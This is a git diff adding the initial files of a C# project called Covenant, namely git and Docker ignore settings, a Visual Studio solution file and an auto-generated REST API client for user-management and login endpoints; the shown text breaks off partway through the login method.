diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000..1ff0c423 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,63 @@ +############################################################################### +# Set default behavior to automatically normalize line endings. +############################################################################### +* text=auto + +############################################################################### +# Set default behavior for command prompt diff. +# +# This is need for earlier builds of msysgit that does not have it on by +# default for csharp files. +# Note: This is only used by command line +############################################################################### +#*.cs diff=csharp + +############################################################################### +# Set the merge driver for project and solution files +# +# Merging from the command prompt will add diff markers to the files if there +# are conflicts (Merging from VS is not affected by the settings below, in VS +# the diff markers are never inserted). Diff markers may cause the following +# file extensions to fail to load in VS. An alternative would be to treat +# these files as binary and thus will always conflict and require user +# intervention with every merge. To do so, just uncomment the entries below +############################################################################### +#*.sln merge=binary +#*.csproj merge=binary +#*.vbproj merge=binary +#*.vcxproj merge=binary +#*.vcproj merge=binary +#*.dbproj merge=binary +#*.fsproj merge=binary +#*.lsproj merge=binary +#*.wixproj merge=binary +#*.modelproj merge=binary +#*.sqlproj merge=binary +#*.wwaproj merge=binary + +############################################################################### +# behavior for image files +# +# image files are treated as binary by default. +############################################################################### +#*.jpg binary +#*.png binary +#*.gif binary + +############################################################################### +# diff behavior for common document formats +# +# Convert binary document formats to text before diffing them. This feature +# is only available from the command line. Turn it on by uncommenting the +# entries below. +############################################################################### +#*.doc diff=astextplain +#*.DOC diff=astextplain +#*.docx diff=astextplain +#*.DOCX diff=astextplain +#*.dot diff=astextplain +#*.DOT diff=astextplain +#*.pdf diff=astextplain +#*.PDF diff=astextplain +#*.rtf diff=astextplain +#*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..dc5c204f --- /dev/null +++ b/.gitignore @@ -0,0 +1,32 @@ +# Sqlite DB +covenant.db +covenant.db-journal + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Covenant Logs +[Ll]og/ +[Ll]ogs/ + +# Visual Studio cache/options +.vs/ +.vscode/ +*.userprefs + +# Mac files +*.DS_Store + +# Private keys +*.pfx + +# Public keys +*.cer diff --git a/Covenant.sln b/Covenant.sln new file mode 100644 index 00000000..471dc916 --- /dev/null +++ b/Covenant.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27004.2010 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Covenant", "Covenant\Covenant.csproj", "{D5865774-CD82-4CCE-A3F1-7F2C4639301B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D5865774-CD82-4CCE-A3F1-7F2C4639301B}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {105B1E42-390C-47A0-9C36-5F0699DAD9C2} + EndGlobalSection +EndGlobal diff --git a/Covenant/.dockerignore b/Covenant/.dockerignore new file mode 100644 index 00000000..d1bce434 --- /dev/null +++ b/Covenant/.dockerignore @@ -0,0 +1,6 @@ +**/bin/ +**/obj/ +**/out/ +Dockerfile* +**/*.trx +**/*.md diff --git a/Covenant/API/CovenantAPI.cs b/Covenant/API/CovenantAPI.cs new file mode 100644 index 00000000..62a153aa --- /dev/null +++ b/Covenant/API/CovenantAPI.cs @@ -0,0 +1,14593 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API +{ + using Microsoft.Rest; + using Microsoft.Rest.Serialization; + using Models; + using Newtonsoft.Json; + using System.Collections; + using System.Collections.Generic; + using System.Net; + using System.Net.Http; + using System.Threading; + using System.Threading.Tasks; + + public partial class CovenantAPI : ServiceClient, ICovenantAPI + { + /// + /// The base URI of the service. + /// + public System.Uri BaseUri { get; set; } + + /// + /// Gets or sets json serialization settings. + /// + public JsonSerializerSettings SerializationSettings { get; private set; } + + /// + /// Gets or sets json deserialization settings. + /// + public JsonSerializerSettings DeserializationSettings { get; private set; } + + /// + /// Subscription credentials which uniquely identify client subscription. + /// + public ServiceClientCredentials Credentials { get; private set; } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// HttpClient to be used + /// + /// + /// True: will dispose the provided httpClient on calling CovenantAPI.Dispose(). False: will not dispose provided httpClient + protected CovenantAPI(HttpClient httpClient, bool disposeHttpClient) : base(httpClient, disposeHttpClient) + { + Initialize(); + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + protected CovenantAPI(params DelegatingHandler[] handlers) : base(handlers) + { + Initialize(); + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Optional. The http client handler used to handle http transport. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + protected CovenantAPI(HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : base(rootHandler, handlers) + { + Initialize(); + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Optional. The base URI of the service. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + /// + /// Thrown when a required parameter is null + /// + protected CovenantAPI(System.Uri baseUri, params DelegatingHandler[] handlers) : this(handlers) + { + if (baseUri == null) + { + throw new System.ArgumentNullException("baseUri"); + } + BaseUri = baseUri; + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Optional. The base URI of the service. + /// + /// + /// Optional. The http client handler used to handle http transport. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + /// + /// Thrown when a required parameter is null + /// + protected CovenantAPI(System.Uri baseUri, HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : this(rootHandler, handlers) + { + if (baseUri == null) + { + throw new System.ArgumentNullException("baseUri"); + } + BaseUri = baseUri; + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Required. Subscription credentials which uniquely identify client subscription. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + /// + /// Thrown when a required parameter is null + /// + public CovenantAPI(ServiceClientCredentials credentials, params DelegatingHandler[] handlers) : this(handlers) + { + if (credentials == null) + { + throw new System.ArgumentNullException("credentials"); + } + Credentials = credentials; + if (Credentials != null) + { + Credentials.InitializeServiceClient(this); + } + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Required. Subscription credentials which uniquely identify client subscription. + /// + /// + /// HttpClient to be used + /// + /// + /// True: will dispose the provided httpClient on calling CovenantAPI.Dispose(). False: will not dispose provided httpClient + /// + /// Thrown when a required parameter is null + /// + public CovenantAPI(ServiceClientCredentials credentials, HttpClient httpClient, bool disposeHttpClient) : this(httpClient, disposeHttpClient) + { + if (credentials == null) + { + throw new System.ArgumentNullException("credentials"); + } + Credentials = credentials; + if (Credentials != null) + { + Credentials.InitializeServiceClient(this); + } + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Required. Subscription credentials which uniquely identify client subscription. + /// + /// + /// Optional. The http client handler used to handle http transport. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + /// + /// Thrown when a required parameter is null + /// + public CovenantAPI(ServiceClientCredentials credentials, HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : this(rootHandler, handlers) + { + if (credentials == null) + { + throw new System.ArgumentNullException("credentials"); + } + Credentials = credentials; + if (Credentials != null) + { + Credentials.InitializeServiceClient(this); + } + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Optional. The base URI of the service. + /// + /// + /// Required. Subscription credentials which uniquely identify client subscription. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + /// + /// Thrown when a required parameter is null + /// + public CovenantAPI(System.Uri baseUri, ServiceClientCredentials credentials, params DelegatingHandler[] handlers) : this(handlers) + { + if (baseUri == null) + { + throw new System.ArgumentNullException("baseUri"); + } + if (credentials == null) + { + throw new System.ArgumentNullException("credentials"); + } + BaseUri = baseUri; + Credentials = credentials; + if (Credentials != null) + { + Credentials.InitializeServiceClient(this); + } + } + + /// + /// Initializes a new instance of the CovenantAPI class. + /// + /// + /// Optional. The base URI of the service. + /// + /// + /// Required. Subscription credentials which uniquely identify client subscription. + /// + /// + /// Optional. The http client handler used to handle http transport. + /// + /// + /// Optional. The delegating handlers to add to the http client pipeline. + /// + /// + /// Thrown when a required parameter is null + /// + public CovenantAPI(System.Uri baseUri, ServiceClientCredentials credentials, HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : this(rootHandler, handlers) + { + if (baseUri == null) + { + throw new System.ArgumentNullException("baseUri"); + } + if (credentials == null) + { + throw new System.ArgumentNullException("credentials"); + } + BaseUri = baseUri; + Credentials = credentials; + if (Credentials != null) + { + Credentials.InitializeServiceClient(this); + } + } + + /// + /// An optional partial-method to perform custom initialization. + /// + partial void CustomInitialize(); + /// + /// Initializes client properties. + /// + private void Initialize() + { + BaseUri = new System.Uri("http://localhost"); + SerializationSettings = new JsonSerializerSettings + { + Formatting = Newtonsoft.Json.Formatting.Indented, + DateFormatHandling = Newtonsoft.Json.DateFormatHandling.IsoDateFormat, + DateTimeZoneHandling = Newtonsoft.Json.DateTimeZoneHandling.Utc, + NullValueHandling = Newtonsoft.Json.NullValueHandling.Ignore, + ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Serialize, + ContractResolver = new ReadOnlyJsonContractResolver(), + Converters = new List + { + new Iso8601TimeSpanConverter() + } + }; + DeserializationSettings = new JsonSerializerSettings + { + DateFormatHandling = Newtonsoft.Json.DateFormatHandling.IsoDateFormat, + DateTimeZoneHandling = Newtonsoft.Json.DateTimeZoneHandling.Utc, + NullValueHandling = Newtonsoft.Json.NullValueHandling.Ignore, + ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Serialize, + ContractResolver = new ReadOnlyJsonContractResolver(), + Converters = new List + { + new Iso8601TimeSpanConverter() + } + }; + CustomInitialize(); + } + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiUsersGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiUsersPutWithHttpMessagesAsync(CovenantUser user = default(CovenantUser), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("user", user); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(user != null) + { + _requestContent = SafeJsonConvert.SerializeObject(user, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiUsersPostWithHttpMessagesAsync(CovenantUserLogin login = default(CovenantUserLogin), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("login", login); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(login != null) + { + _requestContent = SafeJsonConvert.SerializeObject(login, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiUsersByUidGetWithHttpMessagesAsync(string uid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (uid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "uid"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("uid", uid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersByUidGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/{uid}").ToString(); + _url = _url.Replace("{uid}", System.Uri.EscapeDataString(uid)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiUsersByUidDeleteWithHttpMessagesAsync(string uid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (uid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "uid"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("uid", uid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersByUidDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/{uid}").ToString(); + _url = _url.Replace("{uid}", System.Uri.EscapeDataString(uid)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiUsersLoginPostWithHttpMessagesAsync(CovenantUserLogin login = default(CovenantUserLogin), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("login", login); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersLoginPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/login").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(login != null) + { + _requestContent = SafeJsonConvert.SerializeObject(login, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, 